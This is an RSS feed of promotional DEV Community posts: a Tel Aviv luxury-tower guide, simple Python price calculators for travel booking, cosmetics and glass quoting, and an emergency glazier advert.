<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Jeremy Libeskind</title>
    <description>The latest articles on DEV Community by Jeremy Libeskind (@jeremy_libeskind_4bfdc99f).</description>
    <link>https://dev.to/jeremy_libeskind_4bfdc99f</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3051797%2F19418dbc-f83c-4f54-91c9-a63b15f8004c.png</url>
      <title>DEV Community: Jeremy Libeskind</title>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jeremy_libeskind_4bfdc99f"/>
    <language>en</language>
    <item>
      <title>Tel Aviv's 21 Iconic Luxury Residential Towers: A Tech Professional's Guide to the Startup Nation's Skyline</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Sun, 26 Apr 2026 09:10:56 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/tel-avivs-21-iconic-luxury-residential-towers-a-tech-professionals-guide-to-the-startup-nations-5b3</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/tel-avivs-21-iconic-luxury-residential-towers-a-tech-professionals-guide-to-the-startup-nations-5b3</guid>
      <description>&lt;p&gt;If you're a developer, founder, CTO, or tech investor, you've probably heard the numbers: &lt;a href="https://tlv-towers.com/" rel="noopener noreferrer"&gt;Tel Aviv&lt;/a&gt; is the undisputed &lt;strong&gt;Startup Nation&lt;/strong&gt;. With over 6,000 startups, global giants like Google, Microsoft, Meta, and Apple all deeply embedded here, and some of the highest developer salaries in the world, it's no surprise that many in tech are eyeing permanent or long-term stays in Israel.&lt;/p&gt;

&lt;p&gt;But here's what often gets overlooked: Tel Aviv isn't just about grinding in WeWork spaces or beachside co-working spots. It's also home to one of the most impressive collections of &lt;strong&gt;luxury residential high-rises&lt;/strong&gt; in the Mediterranean. With 21 iconic towers offering everything from smart-home penthouses to beachfront apartments with infinity pools, the city delivers a lifestyle that matches (and rewards) the intensity of building the next unicorn.&lt;/p&gt;

&lt;p&gt;Whether you're considering a move for work, looking for a high-yield investment, or just dreaming about that sea-view home office, this guide breaks down everything you need to know.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Tel Aviv's Luxury Towers Are Perfect for Tech Talent
&lt;/h2&gt;

&lt;p&gt;Tel Aviv's real estate market is booming for a reason:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;High earning potential&lt;/strong&gt;: Senior engineers and product leaders regularly clear six figures (USD), making ultra-luxury living surprisingly accessible.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Work-life balance redefined&lt;/strong&gt;: Year-round sunshine, 10-minute walks to the beach, world-class food scene, and a vibrant tech community that actually socializes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strong investment returns&lt;/strong&gt;: Limited beachfront supply, high occupancy rates, steady rental demand from expats and locals, plus consistent capital appreciation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Startup ecosystem perks&lt;/strong&gt;: Proximity to major tech hubs, investors, and events means your next funding round or talent hire could happen at a rooftop networking event.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;TLV Towers&lt;/strong&gt; platform &lt;a href="https://tlv-towers.com/towers" rel="noopener noreferrer"&gt;&lt;/a&gt; has become the go-to destination for discovering these properties. Run by a team with over 10 years of experience in Tel Aviv luxury real estate, the site curates &lt;strong&gt;all 21 iconic residential towers&lt;/strong&gt; and even offers access to off-market penthouses and rare apartments that never appear on public listings.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Complete List: Tel Aviv's 21 Luxury Residential Towers
&lt;/h2&gt;

&lt;p&gt;Here's the full lineup, grouped by neighborhood for easier exploration:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tower Name&lt;/th&gt;
&lt;th&gt;Neighborhood / Zone&lt;/th&gt;
&lt;th&gt;Vibe &amp;amp; Highlights&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;White City Tower&lt;/td&gt;
&lt;td&gt;Central TLV&lt;/td&gt;
&lt;td&gt;Modern residential icon in the heart of the city&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frishman Tower&lt;/td&gt;
&lt;td&gt;Central TLV&lt;/td&gt;
&lt;td&gt;Central location with easy beach access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lieber Tower&lt;/td&gt;
&lt;td&gt;Central TLV&lt;/td&gt;
&lt;td&gt;Classic luxury high-rise living&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Remez Tower&lt;/td&gt;
&lt;td&gt;Central TLV&lt;/td&gt;
&lt;td&gt;Sophisticated urban residence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gymnasia Tower&lt;/td&gt;
&lt;td&gt;Central TLV&lt;/td&gt;
&lt;td&gt;Prime central positioning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Meier Tower&lt;/td&gt;
&lt;td&gt;Rothschild&lt;/td&gt;
&lt;td&gt;Rothschild Boulevard prestige&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rothschild 1 Tower&lt;/td&gt;
&lt;td&gt;Rothschild&lt;/td&gt;
&lt;td&gt;Ultra-central luxury&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rothschild 17 Tower&lt;/td&gt;
&lt;td&gt;Rothschild&lt;/td&gt;
&lt;td&gt;Historic-meets-modern on the famous boulevard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Herbert Samuel 10&lt;/td&gt;
&lt;td&gt;Beachfront&lt;/td&gt;
&lt;td&gt;Direct Mediterranean views&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kempinsky Tower&lt;/td&gt;
&lt;td&gt;Beachfront&lt;/td&gt;
&lt;td&gt;Iconic beachfront living&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Akirov Towers&lt;/td&gt;
&lt;td&gt;Park Tzameret&lt;/td&gt;
&lt;td&gt;Green park views + luxury&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yoo Towers&lt;/td&gt;
&lt;td&gt;Park Tzameret&lt;/td&gt;
&lt;td&gt;Design-forward residences&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;W Tower + W Prime&lt;/td&gt;
&lt;td&gt;Park Tzameret&lt;/td&gt;
&lt;td&gt;Twin-tower prestige&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alrov Tower 1&lt;/td&gt;
&lt;td&gt;Park Tzameret&lt;/td&gt;
&lt;td&gt;Park-adjacent luxury&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Park Bavli Tower 1&lt;/td&gt;
&lt;td&gt;Bavli&lt;/td&gt;
&lt;td&gt;Family-friendly upscale area&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bavli Beresheet&lt;/td&gt;
&lt;td&gt;Bavli&lt;/td&gt;
&lt;td&gt;Modern Bavli living&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Neve Tzedek Tower&lt;/td&gt;
&lt;td&gt;Neve Tzedek&lt;/td&gt;
&lt;td&gt;Historic neighborhood charm + new build&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gindi Sarona Towers&lt;/td&gt;
&lt;td&gt;Sarona&lt;/td&gt;
&lt;td&gt;Vibrant Sarona Market proximity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sarona Skyline&lt;/td&gt;
&lt;td&gt;Sarona&lt;/td&gt;
&lt;td&gt;Skyline-defining towers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Arlozorov 17 Tower&lt;/td&gt;
&lt;td&gt;North TLV&lt;/td&gt;
&lt;td&gt;Northern business district access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kikar HaMedina Towers&lt;/td&gt;
&lt;td&gt;North TLV&lt;/td&gt;
&lt;td&gt;Kikar HaMedina prestige&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every tower features premium amenities you’d expect in 2026 luxury living: rooftop infinity pools, state-of-the-art gyms, 24/7 concierge, smart-home systems, and breathtaking Mediterranean or city views. Many are steps away from top restaurants, cultural venues, and tech offices.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes These Towers Special for Developers &amp;amp; Founders
&lt;/h2&gt;

&lt;p&gt;From personal experience talking with tech friends who’ve made the move:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Home office goals&lt;/strong&gt;: Floor-to-ceiling windows, high-speed fiber, and quiet luxury environments that make remote calls feel premium.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Community &amp;amp; networking&lt;/strong&gt;: Rooftop events and building gyms become unofficial meetups for founders and VCs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lifestyle upgrade&lt;/strong&gt;: Morning beach runs, evening sunset dinners, and weekend tech conferences — all without sacrificing productivity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Future-proof investment&lt;/strong&gt;: With Israel’s economy and Tel Aviv’s limited land, these properties consistently outperform many global markets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The TLV Towers team doesn’t just list properties — they provide full-service support: private viewings, negotiation help, legal guidance, tax consulting for international buyers, and even investment analysis.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ready to Explore?
&lt;/h2&gt;

&lt;p&gt;If you’re a developer, entrepreneur, or investor curious about what’s possible in Tel Aviv, start here:&lt;/p&gt;

&lt;p&gt;➡️ &lt;strong&gt;&lt;a href="https://tlv-towers.com/towers" rel="noopener noreferrer"&gt;Discover All 21 Towers →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You’ll find detailed pages for every building, plus access to exclusive off-market opportunities available only to qualified buyers.&lt;/p&gt;

&lt;p&gt;Contact the team directly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WhatsApp: &lt;a href="https://wa.me/972544982638" rel="noopener noreferrer"&gt;+972 54-498-2638&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Email: &lt;a href="mailto:info@tlvtowers.com"&gt;info@tlvtowers.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether you’re buying your first luxury apartment in Israel or expanding your real-estate portfolio as a tech founder, Tel Aviv’s skyline offers opportunities that perfectly match the ambition of the people building the future.&lt;/p&gt;

&lt;p&gt;The code is writing itself in Tel Aviv — why not live somewhere that inspires it?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is based on public data from &lt;a href="https://tlv-towers.com/towers" rel="noopener noreferrer"&gt;TLV Towers&lt;/a&gt;. All tower information is current as of April 2026.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Modernizing Travel Booking Plugins</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 13:29:38 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-travel-booking-plugins-5185</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-travel-booking-plugins-5185</guid>
      <description>&lt;h1&gt;
  
  
  Modernizing Travel [Booking] Plugins: Building a Reservation &amp;amp; Pricing Calculator in Python
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Travel reservation plugins&lt;/strong&gt; (plugins de réservation de voyage) are the backbone of modern &lt;a href="(https://bookingdirect.fr/)"&gt;tourism&lt;/a&gt; websites. Whether you’re building a WordPress plugin, a custom booking engine, or an internal tool for a travel agency, these systems need to handle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multi-leg flights and dynamic pricing&lt;/li&gt;
&lt;li&gt;Hotel availability and nightly rates&lt;/li&gt;
&lt;li&gt;Car rentals, tours, and activity add-ons&lt;/li&gt;
&lt;li&gt;Promo codes, seasonal surcharges, and taxes&lt;/li&gt;
&lt;li&gt;Instant quote generation for customers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small travel operators and indie developers often rely on spreadsheets or manual math. That’s exactly where a simple Python script can become the heart of a professional reservation plugin.&lt;/p&gt;

&lt;p&gt;In this article, I’ll show you a practical, ready-to-use &lt;strong&gt;Travel Booking Calculator&lt;/strong&gt; that simulates the core logic of a real reservation plugin. You can run it locally today and later turn it into a full API or web app.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Automation Matters for Travel Booking Plugins
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed&lt;/strong&gt;: Customers expect instant quotes — not “we’ll email you in 24h”&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accuracy&lt;/strong&gt;: No more miscalculating nights, passenger fees, or currency conversions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flexibility&lt;/strong&gt;: Easily add new services (tours, transfers, insurance)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Professionalism&lt;/strong&gt;: Clean, branded booking summaries you can email or display on your site&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Handle peak seasons without hiring extra staff&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Let’s Build the Tool: Travel Reservation Calculator
&lt;/h2&gt;

&lt;p&gt;Here’s a clean, extensible Python script. It supports flights, hotels, add-ons, promo codes, taxes, and generates a complete reservation summary — just like the backend of a real booking plugin.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
python
def calculate_flight_cost(passengers: int, base_fare: float) -&amp;gt; float:
    """Simple flight pricing with per-passenger fees"""
    return base_fare * passengers

def calculate_hotel_cost(nights: int, nightly_rate: float, rooms: int = 1) -&amp;gt; float:
    """Hotel cost based on nights and rooms"""
    return nightly_rate * nights * rooms

def apply_promo(subtotal: float, promo_code: str = None) -&amp;gt; float:
    """Travel-specific promo rules"""
    promos = {
        "FLY15": 0.15,      # 15% off flights
        "STAY20": 0.20,     # 20% off hotels
        "TRAVEL10": 0.10,   # General discount
        "EARLYBIRD": 0.25,  # Early booking special
    }
    discount_rate = promos.get(promo_code.upper() if promo_code else "", 0.0)
    return subtotal * (1 - discount_rate)

def get_taxes_and_fees(subtotal_after_promo: float) -&amp;gt; float:
    """Typical travel taxes + service fees"""
    return subtotal_after_promo * 0.18  # 18% combined VAT + airport + service fees

def generate_travel_reservation(
    passengers: int,
    flight_base_fare: float,
    nights: int,
    nightly_rate: float,
    rooms: int = 1,
    add_ons: dict = None,  # e.g. {"Airport Transfer": 45.0}
    promo_code: str = None
) -&amp;gt; dict:

    flight_cost = calculate_flight_cost(passengers, flight_base_fare)
    hotel_cost = calculate_hotel_cost(nights, nightly_rate, rooms)
    add_on_total = sum(price for price in (add_ons or {}).values())

    subtotal = flight_cost + hotel_cost + add_on_total
    subtotal_after_promo = apply_promo(subtotal, promo_code)
    taxes_fees = get_taxes_and_fees(subtotal_after_promo)

    total = subtotal_after_promo + taxes_fees

    return {
        "passengers": passengers,
        "nights": nights,
        "flight_cost": round(flight_cost, 2),
        "hotel_cost": round(hotel_cost, 2),
        "add_ons": round(add_on_total, 2),
        "discount_applied": round(subtotal - subtotal_after_promo, 2),
        "taxes_fees": round(taxes_fees, 2),
        "total": round(total, 2),
        "promo_code": promo_code.upper() if promo_code else "NONE"
    }

# Example usage — perfect for a booking plugin demo
if __name__ == "__main__":
    booking = generate_travel_reservation(
        passengers=2,
        flight_base_fare=320.0,
        nights=7,
        nightly_rate=110.0,
        rooms=1,
        add_ons={"Airport Transfer": 45.0, "Travel Insurance": 28.0},
        promo_code="TRAVEL10"
    )

    print("═" * 55)
    print("     TRAVEL RESERVATION SUMMARY")
    print("═" * 55)
    print(f"Passengers        : {booking['passengers']}")
    print(f"Nights            : {booking['nights']}")
    print(f"Flight Cost       : €{booking['flight_cost']}")
    print(f"Hotel Cost        : €{booking['hotel_cost']}")
    print(f"Add-ons           : €{booking['add_ons']}")
    print(f"Promo ({booking['promo_code']})      : -€{booking['discount_applied']}")
    print(f"Taxes &amp;amp; Fees      : €{booking['taxes_fees']}")
    print("─" * 55)
    print(f"**TOTAL TO PAY    : €{booking['total']}**")
    print("═" * 55)
    print("Thank you for booking with [Your Travel Brand] ✈️")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
    </item>
    <item>
      <title>Modernizing Online Cosmetic Sales</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 13:27:12 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-online-cosmetic-sales-2l9b</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-online-cosmetic-sales-2l9b</guid>
      <description>&lt;h1&gt;
  
  
  Modernizing Online Cosmetic Sales: Building a Dynamic Pricing &amp;amp; Cart Calculator in Python
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://kerargan.com" rel="noopener noreferrer"&gt;Cosmetic&lt;/a&gt; e-commerce&lt;/strong&gt; (vente en ligne de produits cosmétiques) is one of the fastest-growing sectors in online retail. From clean skincare serums and organic makeup to luxury fragrances and haircare, independent brands and dropshippers are selling directly to customers worldwide.&lt;/p&gt;

&lt;p&gt;Yet many small sellers still rely on spreadsheets or manual calculations to figure out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Product bundles and quantity discounts&lt;/li&gt;
&lt;li&gt;Promo codes and seasonal sales&lt;/li&gt;
&lt;li&gt;Shipping fees (flat rate or weight-based)&lt;/li&gt;
&lt;li&gt;VAT / sales tax compliance&lt;/li&gt;
&lt;li&gt;Final profit margins&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s where a simple Python script can save hours every day and eliminate costly pricing mistakes.&lt;/p&gt;

&lt;p&gt;In this article, I’ll show you a practical, ready-to-use &lt;strong&gt;Cosmetic Cart &amp;amp; Pricing Calculator&lt;/strong&gt; that any beauty entrepreneur can run locally or turn into a web app in minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Automation Matters for Online Cosmetic Sellers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed&lt;/strong&gt;: Generate accurate quotes or order totals in seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consistency&lt;/strong&gt;: No more forgotten discounts or wrong shipping fees&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Profitability&lt;/strong&gt;: Automatically calculate margins and break-even points&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Professionalism&lt;/strong&gt;: Clean, branded order summaries you can email instantly&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Handle flash sales, Black Friday, or influencer bundles without stress&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Let’s Build the Tool: Cosmetic Order Calculator
&lt;/h2&gt;

&lt;p&gt;Here’s a clean, extensible Python script. It supports multiple products, promo codes, dynamic shipping, and tax calculation — all while keeping the code simple enough for beginners.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
python
def calculate_subtotal(cart: dict) -&amp;gt; float:
    """cart = {'product_name': (price, quantity)}"""
    return sum(price * qty for price, qty in cart.values())

def apply_promo(subtotal: float, promo_code: str = None) -&amp;gt; float:
    """Realistic promo rules for beauty brands"""
    promos = {
        "BEAUTY20": 0.20,   # 20% off
        "FREESHIP": 0.0,     # Free shipping (handled separately)
        "BUNDLE15": 0.15,    # Bundle discount
        "WELCOME10": 0.10,   # First-order discount
    }
    discount_rate = promos.get(promo_code.upper() if promo_code else "", 0.0)
    return subtotal * (1 - discount_rate)

def get_shipping(subtotal: float, country: str = "France") -&amp;gt; float:
    """Simple shipping logic — customize for your store"""
    if country.lower() in ["france", "fr"]:
        return 0.0 if subtotal &amp;gt;= 50 else 6.90
    elif country.lower() in ["eu", "europe"]:
        return 0.0 if subtotal &amp;gt;= 80 else 12.50
    else:
        return 0.0 if subtotal &amp;gt;= 100 else 18.00  # International

def calculate_tax(subtotal_after_discount: float, country: str = "France") -&amp;gt; float:
    """VAT example — France is 20% for cosmetics"""
    vat_rate = 0.20 if country.lower() in ["france", "fr"] else 0.0  # simplify for demo
    return subtotal_after_discount * vat_rate

def generate_cosmetic_order(
    cart: dict,
    promo_code: str = None,
    country: str = "France",
    include_tax: bool = True
) -&amp;gt; dict:

    subtotal = calculate_subtotal(cart)
    subtotal_after_promo = apply_promo(subtotal, promo_code)
    shipping = get_shipping(subtotal_after_promo, country)
    tax = calculate_tax(subtotal_after_promo, country) if include_tax else 0.0

    total = subtotal_after_promo + shipping + tax

    return {
        "subtotal": round(subtotal, 2),
        "discount_applied": round(subtotal - subtotal_after_promo, 2),
        "shipping": round(shipping, 2),
        "tax": round(tax, 2),
        "total": round(total, 2),
        "promo_code": promo_code.upper() if promo_code else "NONE",
        "items": len(cart)
    }

# Example usage — real cosmetic products
if __name__ == "__main__":
    my_cart = {
        "Vitamin C Serum 30ml": (32.90, 2),
        "Hydrating Moisturizer": (24.50, 1),
        "Lip Glow Oil Set": (18.90, 3),
        "Organic Face Mask": (12.00, 1),
    }

    order = generate_cosmetic_order(
        cart=my_cart,
        promo_code="BEAUTY20",
        country="France"
    )

    print("═" * 50)
    print("     COSMETIC ORDER SUMMARY")
    print("═" * 50)
    print(f"Items in cart     : {order['items']}")
    print(f"Subtotal          : €{order['subtotal']}")
    print(f"Promo ({order['promo_code']})   : -€{order['discount_applied']}")
    print(f"Shipping          : €{order['shipping']}")
    print(f"VAT (20%)         : €{order['tax']}")
    print("─" * 50)
    print(f"**TOTAL TO PAY    : €{order['total']}**")
    print("═" * 50)
    print("Thank you for shopping at [Your Beauty Brand] 💄")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
    </item>
    <item>
      <title>Modernizing Vitrerie</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 13:23:53 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-vitrerie-42nd</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/modernizing-vitrerie-42nd</guid>
      <description>&lt;h1&gt;
  
  
  Modernizing Vitrerie: Building a Glass Quoting Calculator in Python
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Vitrerie&lt;/strong&gt; is the French term for the specialized trade of glazing — cutting, fitting, installing, and repairing glass in windows, doors, shower enclosures, storefronts, curtain walls, mirrors, and more. &lt;/p&gt;

&lt;p&gt;It’s a precise, physical craft that has existed for centuries, yet many small &lt;a href="//vitrier-la-queue-en-brie.fr"&gt;vitrerie&lt;/a&gt; businesses still rely on manual spreadsheets or pen-and-paper calculations for customer quotes. That’s where a developer can make a real impact.&lt;/p&gt;

&lt;p&gt;In this article, I’ll walk you through a practical Python tool that automates glass quoting — something any glazier (vitrier) can use daily. It’s a perfect example of how simple code can modernize traditional trades.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Exactly Is Vitrerie?
&lt;/h2&gt;

&lt;p&gt;Vitrerie involves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Measuring and cutting flat glass to exact dimensions&lt;/li&gt;
&lt;li&gt;Working with many glass types (clear float, tempered safety glass, laminated, low-E, frosted, etc.)&lt;/li&gt;
&lt;li&gt;Installing and sealing panels using structural silicones, setting blocks, and weatherproofing&lt;/li&gt;
&lt;li&gt;Complying with strict building codes and safety standards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small vitrerie shops often lose time (and money) recalculating quotes manually. Automation fixes that instantly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Automation Matters for Glaziers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed&lt;/strong&gt;: Respond to customers in minutes instead of hours&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accuracy&lt;/strong&gt;: No more math errors on area, waste factor, or pricing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Professionalism&lt;/strong&gt;: Clean, consistent quotes every time&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Easy to handle more jobs without hiring extra office staff&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Let’s Build the Tool: A Vitrerie Quote Calculator
&lt;/h2&gt;

&lt;p&gt;Here’s a clean, ready-to-use Python script. It calculates area, applies different pricing per glass type, adds labor, includes a realistic waste/profit margin, and returns a professional quote.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
python
def calculate_glass_area(width_mm: float, height_mm: float) -&amp;gt; float:
    """Convert mm dimensions to square meters (standard pricing unit)"""
    return (width_mm * height_mm) / 1_000_000

def get_glass_price_per_m2(glass_type: str) -&amp;gt; float:
    """Realistic example prices per m² (USD) – adjust to your local supplier rates"""
    prices = {
        "clear": 48.0,      # Standard float glass
        "tempered": 88.0,   # Heat-treated safety glass
        "laminated": 115.0, # PVB interlayer for security/sound control
        "low_e": 98.0,      # Energy-efficient low-emissivity coating
        "frosted": 78.0,    # Privacy / decorative glass
    }
    return prices.get(glass_type.lower(), 55.0)

def generate_quote(
    num_panels: int,
    width_mm: float,
    height_mm: float,
    glass_type: str,
    labor_per_panel: float = 38.0,
    waste_margin: float = 1.15
) -&amp;gt; dict:

    area_per_panel = calculate_glass_area(width_mm, height_mm)
    total_area = area_per_panel * num_panels

    price_per_m2 = get_glass_price_per_m2(glass_type)

    glass_cost = total_area * price_per_m2
    labor_cost = num_panels * labor_per_panel
    subtotal = glass_cost + labor_cost

    # Add 15% for waste, transport, breakage risk &amp;amp; profit margin
    final_price = subtotal * waste_margin

    return {
        "total_area_m2": round(total_area, 3),
        "glass_cost": round(glass_cost, 2),
        "labor_cost": round(labor_cost, 2),
        "final_price": round(final_price, 2),
        "glass_type": glass_type.title()
    }

# Example usage – just change the values for any job
if __name__ == "__main__":
    quote = generate_quote(
        num_panels=4,
        width_mm=1500,
        height_mm=2200,
        glass_type="tempered",
        labor_per_panel=42.0
    )

    print("═" * 40)
    print("          VITRERIE QUOTE")
    print("═" * 40)
    print(f"Glass Type     : {quote['glass_type']}")
    print(f"Total Area     : {quote['total_area_m2']} m²")
    print(f"Glass Cost     : ${quote['glass_cost']}")
    print(f"Labor Cost     : ${quote['labor_cost']}")
    print(f"**TOTAL QUOTE  : ${quote['final_price']}**")
    print("═" * 40)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
    </item>
    <item>
      <title>Emergency Glazier in Pontault-Combault</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 08:18:40 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/emergency-glazier-in-pontault-combault-1nge</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/emergency-glazier-in-pontault-combault-1nge</guid>
      <description>&lt;h1&gt;
  
  
  Emergency Glazier in Pontault-Combault: 24/7 Professional Glass Repair You Can Trust
&lt;/h1&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Broken window in the middle of the night? Shattered glass door? Need urgent double glazing or security glass installed?&lt;/strong&gt; You are not alone.&lt;/p&gt;

&lt;p&gt;Accidents happen — and when they do, you need a reliable, fast-response vitrier (glazier) who can intervene immediately. Whether it’s a residential broken pane, a commercial storefront, or a co-ownership common area, waiting hours (or days) is not an option.&lt;/p&gt;

&lt;p&gt;That’s where &lt;strong&gt;Vitrier Pontault-Combault&lt;/strong&gt; comes in.&lt;/p&gt;

&lt;h3&gt;
  
  
  Professional Glazing Services Available 24/7
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Emergency repairs &amp;amp; replacements&lt;/strong&gt; — intervention in under &lt;strong&gt;30 minutes&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Broken glass replacement (single, double, or triple glazing)&lt;/li&gt;
&lt;li&gt;Installation of high-performance double glazing for thermal and sound insulation&lt;/li&gt;
&lt;li&gt;Security glass, laminated glass, and anti-burglary solutions&lt;/li&gt;
&lt;li&gt;Mirror installation and custom glass cutting&lt;/li&gt;
&lt;li&gt;Interior glass partitions and glass walls&lt;/li&gt;
&lt;li&gt;Shopfronts, office glazing, and commercial storefront repairs&lt;/li&gt;
&lt;li&gt;Window renovation and energy-efficient upgrades&lt;/li&gt;
&lt;li&gt;Service for &lt;strong&gt;individuals, professionals, and co-ownerships&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

